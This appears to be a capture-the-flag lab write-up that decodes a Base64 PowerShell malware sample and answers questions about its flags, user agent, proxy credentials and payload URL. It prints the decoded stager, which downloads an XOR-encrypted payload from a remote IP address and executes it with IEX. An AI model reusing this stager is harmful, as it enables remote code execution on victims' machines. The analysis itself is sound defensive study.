

PowerShell Script

Description

You've come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!

Research Objectives

- 1. What encoding is the malicious script using?**
- 2. What parameter in the powershell script makes it so that the powershell window is hidden when executed?**
- 3. What parameter in the powershell script prevents the user from closing the process?**
- 4. What line of code allows the script to interact with websites and retrieve information from them?**
- 5. What is the user agent string that is being spoofed in the malicious script?**
- 6. What line of code is used to set the proxy credentials for authentication in the script?**
- 7. When the malicious script is executed, what is the URL that the script contacts to download the malicious payload?**

Walkthrough

File hashsum

Firstly, need to get hash of the malware sample. And you too, if you want to examine sample closely through VirusTotal, AnyRun or, exactly, download it from the Bazaar.

- `powershell.exe Get-FileHash .\filename.extension`

Here it is:

SHA256 12165EB50927A1ECE904DA91D1DD926C6AF78F8CE8110B92F65D8604402E7089

Code examining

```
powershell.exe -NoP -sta -NonI -W Hidden -Enc  
JABXAEMAPQBOAGUAdwAtAE8AYgBqAEUAYwBUACAAUwB5AFMAVAB1AE0ALgBOAEUAVAAuAFcAZ  
NAAzAC8AaQBuAGQAZQB4AC4AYQBzAHAAIgaPACkAKQB8ACUAewAkAF8ALQBCAFgAbwBSACQAS
```

The first thing we are seeing is the powershell execute options:

- -NoP - NoProfile
- -sta - Single Threatment Apartment
- -NonI - NonInteractive
- -W Hidden - Window Hidden
- -Enc - Base64 encoded string as parameter

Well, as we see, main executable parameter is base64 encoded. To decode that, we should use the tool named CyberChef:

The screenshot shows the CyberChef interface with a recipe titled 'From Base64'. The 'Input' tab displays the Base64 encoded string. The 'Output' tab shows the decoded PowerShell command, which is a malicious script designed to download and execute a file from a remote server.

Lets clean it to clearly understand code:

```
$WC=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.Headers.Add('User-Agent',$u);$WC.Proxy =  
[System.Net.WebRequest]::DEFAULTWebProxy;$wc.PROXY.Credentials = [System.Net.CredentialCache]::DeFAULTNetWoRKCreDENTiAls;$K='IM-S&fA9Xu{[]|wdWJhC+!N~vq_12Lty';$1=0;  
[Char[]]$B=([Char[]]($wc.DownloadString("http://98.103.103.170:7443/index.asp")))%{$_Bxor$K[$1+%%$K.Length]};IEX ($B-join'' )
```

`$WC = New-Object System.Net.WebClient` allwos to interact with websites

`$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'` is the user agent

`$wc.PROXY.Credentials =`

`[System.Net.CredentialCache]::DeFAULTNetWoRKCreDENTiAls` is the proxy credentials

`http://98.103.103.170:7443/index.asp` is the malicious payload file

Let's summarize

1. Base64

2. -W Hidden

3. -Nonl

4. \$WC=New-Object System.Net.WebClient

**5. Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
like Gecko**

**6. \$wc.PROXY.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials**

7. http://[98.]103.]103.]170[:]7443[/]index[.]asp